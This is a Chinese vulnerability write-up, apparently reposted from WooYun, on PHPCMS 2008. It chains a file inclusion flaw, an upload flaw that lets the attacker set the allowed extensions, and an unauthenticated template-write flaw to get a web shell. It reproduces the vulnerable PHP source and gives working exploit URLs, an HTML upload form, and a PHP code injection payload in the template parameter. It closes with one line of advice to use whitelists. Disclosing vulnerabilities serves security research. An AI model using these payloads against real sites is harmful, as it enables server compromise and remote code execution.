phpcms 2008多个漏洞 (可getshell)

一个漏洞不可怕，可怕的是一连串的漏洞，拼接起来就可以getshell了。

###文件包含

<?php
define('IN_YP', TRUE);
define('ADMIN_ROOT', str_replace("\\", '/',dirname(__FILE__)).'/');
require '../include/common.inc.php';

## 要登陆
if(!$_userid) showmessage('您还没有登陆，即将跳转到登陆页面',$MODULE['member']['url'].'login.php?forward='.urlencode(URL));
session_start();

## $file变量可控制
if(!isset($file) || empty($file)) $file = 'panel';

/* $company_user_infos 获取企业会员信息 */
$company_user_infos = $db->get_one("SELECT * FROM `".DB_PRE."member_company` WHERE `userid`='$_userid'");
$userid = $_userid;

## 注册的时候选择企业用户
if(!$company_user_infos)
{
	$MS['title'] = '您不是企业会员';
	$MS['description'] = '你可以做下面操作';
	$MS['urls'][0] = array(
		'name'=>'免费升级为企业会员',
		'url'=>$PHPCMS['siteurl'].$M['url'].'company.php?action=member',
		);
	$MS['urls'][1] = array(
		'name'=>'退出当前帐号，换其他帐号登陆',
		'url'=>$PHPCMS['siteurl'].'member/logout.php',
		);
	$MS['urls'][2] = array(
		'name'=>'重新注册为企业会员',
		'url'=>$PHPCMS['siteurl'].'member/logout.php?forward='.urlencode($PHPCMS['siteurl'].'member/register.php'),
		);
	msg($MS);
}
$CATEGORY = subcat('yp');
$siteurl = company_url($userid, $company_user_infos['sitedomain']);

$_SESSION['url'] = QUERY_STRING;

if($file != 'company' && $M['enableSecondDomain'] && !$company_user_infos['sitedomain']) showmessage('请先绑定您的二级域名',BUSINESSDIR.'?file=company');

check_priv($file);
$GROUP = cache_read('member_group.php');

## 此处直接包含了，注意$file是可以控制的但须要截断
if(!@include ADMIN_ROOT.$file.'.inc.php') showmessage('The file ./yp/'.$file.'.inc.php is not exists!');

function check_priv($file)
{
	global $M,$PHPCMS,$_groupid;
	if(!$M["allow_add_$file"]) return true;
	if(!in_array($_groupid,$M["allow_add_$file"]))
	{
		$MS['title'] = '您所在的会员组没有此项操作权限';
		$MS['description'] = '你可以做下面操作';
		$MS['urls'][0] = array(
			'name'=>'升级会员组',
			'url'=>$PHPCMS['siteurl'].'member/upgrade.php',
			);
		$MS['urls'][1] = array(
			'name'=>'返回商务中心',
			'url'=>'?',
			);
		msg($MS);	
	}
}
?>

## 利用注册一个企业用户

EXP：http://localhost/phpcms/yp/business/?file=../../xxoo.txt%00.

由于涉及截断，所以鸡肋了，哥是要去拿shell的。

## 再看这一句

if(!@include ADMIN_ROOT.$file.'.inc.php') showmessage('The file ./yp/'.$file.'.inc.php is not exists!');

以.inc.php结尾的文件有大把随便找个有漏的文件包含进来，不就能二次利用了？

## 首先进入视线的是/admin/upload.inc.php 看名字就知道如果能利用的话，将会.....(省略500字)

<?php 
defined('IN_PHPCMS') or exit('Access Denied');

require_once 'attachment.class.php';

$attachment = new attachment($mod);
if($catid)
{
	$C = cache_read('category_'.$catid.'.php');
}
## 允许上传的后缀是从$C里取的，变量$C要通过上面那个判断才能赋值，典型的变量未初始化
$upload_allowext = $C['upload_allowext'] ? $C['upload_allowext'] : UPLOAD_ALLOWEXT;
$upload_maxsize = $C['upload_maxsize'] ? $C['upload_maxsize'] : UPLOAD_MAXSIZE;
if($dosubmit)
{
	$attachment->upload('uploadfile', $upload_allowext, $upload_maxsize, 1);
	if($attachment->error) showmessage($attachment->error());
	//判断是否开启附件ftp上传，返回图片路径
	$imgurl = UPLOAD_FTP_ENABLE ? $attachment->uploadedfiles[0]['filepath'] : UPLOAD_URL.$attachment->uploadedfiles[0]['filepath'];	
	$aid = $attachment->uploadedfiles[0]['aid'];
	$filesize = $attachment->uploadedfiles[0]['filesize'];
	$filesize = $attachment->size($filesize);
    if($isthumb || $iswatermark)
	{
		require_once 'image.class.php';
		$image = new image();
		$img = UPLOAD_ROOT.$attachment->uploadedfiles[0]['filepath'];
		if($isthumb)
		{
			$image->thumb($img, $img, $width, $height);
		}
		if($iswatermark)
		{
			$image->watermark($img, $img, $PHPCMS['watermark_pos'], $PHPCMS['watermark_img'], '', 5, '#ff0000', $PHPCMS['watermark_jpgquality']);
		}
	}

	showmessage("文件上传成功！<script language='javascript'>	try{ $(window.opener.document).find(\"form[@name='myform'] #$uploadtext\").val(\"$imgurl\");$(window.opener.document).find(\"form[@name='myform'] #{$uploadtext}_aid\").val(\"$aid\");$(window.opener.document).find(\"form[@name='myform'] #$filesize\").val(\"$filesize\");}catch(e){} window.close();</script>", HTTP_REFERER);
}
else
{
	include admin_tpl('upload');
}
?>

## 没什么好说的看EXP, 上传后查看网页源代码即可找到上传路径.

<form id="frmUpload" enctype="multipart/form-data"
action="http://localhost/phpcms/yp/business/?file=../../admin/upload&C[upload_allowext]=php|Php%00.|php%00&dosubmit=yes" method="post">
<h1>Upload a new file:</h1>
<input type="file" name="uploadfile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>

## 传完后我才发现attachment.class.php 里有黑名单，怎么绕大家结合环境利用吧。

## 漏洞再一次被鸡肋化了，哥继续找。 再次进入视线的是block.inc.php，看名字貌似是跟模块有关的，难不成可以写个shell ?

## 猫了个咪，打开文件我就想骂人了，做为admin目录下的文件，没有任何权限判断。

## 看144行左右，当$action 等于 post时。

case 'post':
	require_once 'template.func.php';
	if($func == 'dosave') ## 这里完全不用管他，让他进入else
	{
		$block->set_template($blockid, $template);
		$block->update($blockid, $data);
		$data = $block->get_html($blockid);
	}
	else
	{
		$name = new_stripslashes($name);
		$data = new_stripslashes($data);
		$data = $block->strip_data($data);
		$template = new_stripslashes($template);
		$tpldata = template_parse($template);
		$tplfile = TPL_CACHEPATH.'block_'.$blockid.'.preview.php'; 	## 文件名
		file_put_contents($tplfile, $tpldata); 						## 生成文件
		include $tplfile; 											## 包含文件
		@unlink($tplfile); 											## 删除刚才生成的文件
		$data = ob_get_contents();
		ob_clean();
	}
	echo '<script language="JavaScript">parent.'.$func.'('.$blockid.', "'.format_js($data, 0).'");</script>';
	break;

## 在这里可以生成一个php文件，并马上包含进来，随后又删除了。由于包含进来了，只要能控制php文件的内容，代码还是会被执行。

## 看取得文件内容的这一行，$tpldata = template_parse($template); 跟进template_parse函数

function template_parse($str, $istag = 0)
{
	$str = preg_replace("/([\n\r]+)\t+/s","\\1",$str);
	$str = preg_replace("/\<\!\-\-\{(.+?)\}\-\-\>/s", "{\\1}",$str);
	$str = preg_replace("/\{template\s+(.+)\}/","<?php include template(\\1); ?>",$str);
	$str = preg_replace("/\{include\s+(.+)\}/","<?php include \\1; ?>",$str);
	$str = preg_replace("/\{php\s+(.+)\}/","<?php \\1?>",$str);
	$str = preg_replace("/\{if\s+(.+?)\}/","<?php if(\\1) { ?>",$str);
	$str = preg_replace("/\{else\}/","<?php } else { ?>",$str);
	$str = preg_replace("/\{elseif\s+(.+?)\}/","<?php } elseif (\\1) { ?>",$str);
	$str = preg_replace("/\{\/if\}/","<?php } ?>",$str);
	$str = preg_replace("/\{loop\s+(\S+)\s+(\S+)\}/","<?php if(is_array(\\1)) foreach(\\1 AS \\2) { ?>",$str);
	$str = preg_replace("/\{loop\s+(\S+)\s+(\S+)\s+(\S+)\}/","<?php if(is_array(\\1)) foreach(\\1 AS \\2 => \\3) { ?>",$str);
	$str = preg_replace("/\{\/loop\}/","<?php } ?>",$str);
	$str = preg_replace("/\{\/get\}/","<?php } unset(\$DATA); ?>",$str);
	$str = preg_replace("/\{tag_([^}]+)\}/e", "get_tag('\\1')", $str);
	$str = preg_replace("/\{get\s+([^}]+)\}/e", "get_parse('\\1')", $str);
	$str = preg_replace("/\{([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/","<?php echo \\1;?>",$str);
	$str = preg_replace("/\{\\$([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/","<?php echo \\1;?>",$str);
	$str = preg_replace("/\{(\\$[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)\}/","<?php echo \\1;?>",$str);
	$str = preg_replace("/\{(\\$[a-zA-Z0-9_\[\]\'\"\$\x7f-\xff]+)\}/es", "addquote('<?php echo \\1;?>')",$str);
	$str = preg_replace("/\{([A-Z_\x7f-\xff][A-Z0-9_\x7f-\xff]*)\}/s", "<?php echo \\1;?>",$str);
	if(!$istag) $str = "<?php defined('IN_PHPCMS') or exit('Access Denied'); ?>".$str;
	return $str;
}

## 是用来处理一些模板语法，完全不用理会。

EXP：

http://localhost/yp/business/?file=../../admin/block&action=post&blockid=eval&template=<?php phpinfo();exit();?>

判断要严谨，多个地方缺少判断，判断应该用白名单而不是黑名单，黑名单你控制不来的。

厂商已经主动忽略漏洞，其实不是被忽略2008已经早都停止维护了。

摘自：http://wooyun.org/bugs/wooyun-2010-09563